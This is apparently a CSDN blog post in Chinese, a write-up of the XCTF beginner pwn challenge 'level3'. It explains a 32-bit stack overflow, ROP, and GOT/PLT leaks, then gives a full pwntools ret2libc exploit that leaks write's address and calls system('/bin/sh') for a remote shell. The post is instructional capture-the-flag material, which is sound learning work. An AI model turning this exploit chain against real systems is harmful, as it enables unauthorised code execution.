攻防世界pwn新手区题解-level3

文章详细介绍了如何解决攻防世界pwn-level3挑战,涉及栈溢出漏洞利用、ROP技术,以及通过GOT和PLT表泄露和控制程序执行流,最终获取系统shell的过程。
摘要由CSDN通过智能技术生成

攻防世界pwn-level3详细题解

在这里插入图片描述

准备工作

将附件下载下来后解压得两个文件
level3和libc_32.so.6

分别查看文件类型
level3是一个32位的ELF文件在这里插入图片描述
libc_32.so.6是level3的动态链接库
在这里插入图片描述

so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据, .so文件就跟.dll文件差不多,就是常说的动态链接库
Linux下的.so文件时不能直接运行的,一般来讲,.so文件称为共享库

checksec命令查看level3文件保护
栈中数据不能执行,但我们可以使用ROP(面向返回编程)绕过
在这里插入图片描述
面向返回编程概述:
攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段
接着利用栈溢出漏洞,覆盖函数返回地址,伪造函数调用栈,使其指向我们提取的内存中的指令

执行ELF文件

发现了两个字符串提示
在这里插入图片描述

IDA查看ELF文件

首先查看main函数(F5反汇编成c语言)
没什么特别的,除了第一行的调用函数
在这里插入图片描述
发现return语句中,read读入了256个内存空间
在这里插入图片描述
查看function()函数的栈空间
以下图片中的数据使用16进制,-0x88~0x00为程序缓冲区容量,0x00~到0x04为ebp地址,再往后是程序返回地址
在这里插入图片描述

很明显,read函数读入的内存空间大于function()函数的缓冲区容量,这里存在栈溢出漏洞
我们可以利用read函数的漏洞,覆盖程序的返回地址,使得程序执行我们指定的指令

查找可利用指令

shift+F12查看所有字符串
可以看到,这个level3并没有像之前一样给出system和/bin/sh的内存地址,我们需要想办法将其泄露出来
在这里插入图片描述

开始写exp

首先,让我们认识一下got表和plt表

GOT表
Globle offset table全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址,GOT表存储在数据段,(在IDA中是也就是.data段)可以在程序运行中被修改。

PLT表
procedure linkage table过程连接表,位于代码段,是一个每个条目是16字节内容的数组。
可以理解为plt表存储的就是got表的值的地址

我们可以通过修改got表中的地址A为我们需要利用的指令B在内存中的实际地址,使得got表中该段地址错误的指向指令B并执行

让我们先缕清攻击思路
攻击最终目标是获得/bin/sh交互界面,所以我们需要使得程序执行system(‘/bin/sh’)指令
现在已有一个栈溢出漏洞可以写入system指令获得交互界面,但我们不知道system和/bin/sh的实际地址,无法将其写入
所以我们需要先通过栈溢出漏洞泄露出system和/bin/sh的实际地址

level3已经将libc库给我们了,已知linux下默认开启ASLR地址随机化,每次程序运行时函数加载的地址都可能不一样,但幸运的是函数在动态链接库,也就是libc里的相对位置是不变的,也可以是偏移是一样的。
只要知道某个已知函数的got表地址(这里我们使用write()函数),我们就可以利用libc推算出偏移和基址,进而推算system和/bin/sh的got表地址

EXP

以下是py代码,注释中有详细代码原理解释

RHOST='xxx.xxx.xxx.xxx'
RPORT='xxxxx'
#建立远程连接
p=remote(RHOST,RPORT)
#使用ELF执行程序
elf_level3=ELF('./level3')
elf_libc=ELF('./libc_32.so.6')
#获得write()plt表地址
write_plt=elf_level3.plt['write']
#获得write()got表地址
write_got=elf_level3.got['write']
#获得mian函数实际地址
main_addr=elf_level3.symbols['main']

#当程序执行到输出'Input:\n'时开始攻击read()函数
p.recvuntil('Input:\n')

#'a'*(0x88+0x4):用于填充程序缓冲区及ebp地址,随便什么字符,填满就行
#p32(write_plt):用于覆盖返回地址,使用plt调用write()函数
#p32(main_addr):设置write()的返回地址为main();因为这一步payload只是为了返回write()的got地址,后续的实际攻击还需要继续使用main函数的read()方法,所以write()执行完毕后需要返回到main()
#p32(0):write()第一个参数,只要转换为p32格式就行
#p32(write_got):返回write()got表地址,这就是这句payload需要得到的信息
#p32(4):读入4个字节,也就是write()got表地址
payload_1=b'a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0)+p32(write_got)+p32(4)
p.sendline(payload_1)
#获得write()got表地址
write_got=(u32(p.recv()))

#计算libc库中的write()地址与level3的write()地址的偏差
libc_py_deviation=write_got-elf_libc.symbols['write']
#由于偏移是相同的,将偏差值加上libc库中的system地址,便得到了level3中system的实际地址
sys_addr=libc_py_deviation+elf_libc.symbols['system']
#/bin/sh在libc库的位置可以通过string命令配合管道符查看
#strings -a -t x libc_32.so.6 | grep "/bin/sh"
#计算/bin/sh的实际地址,原理和system一样
binsh_addr = libc_py_deviation + 0x15902b

#重新返回main函数,再次执行到输出'Input:\n'时,开始第二次攻击
p.recvuntil('Input:\n')
#p32(sys_addr):覆盖返回地址,跳转到system地址
#p32(0):覆盖system函数的返回地址,我们目的是获得/bin/sh,所以不care它返回到哪,填充4个字节就行
#p32(binsh_addr):传入system的参数/bin/sh
payload_2=b'a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload_2)
#获得交互界面
p.interactive()

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值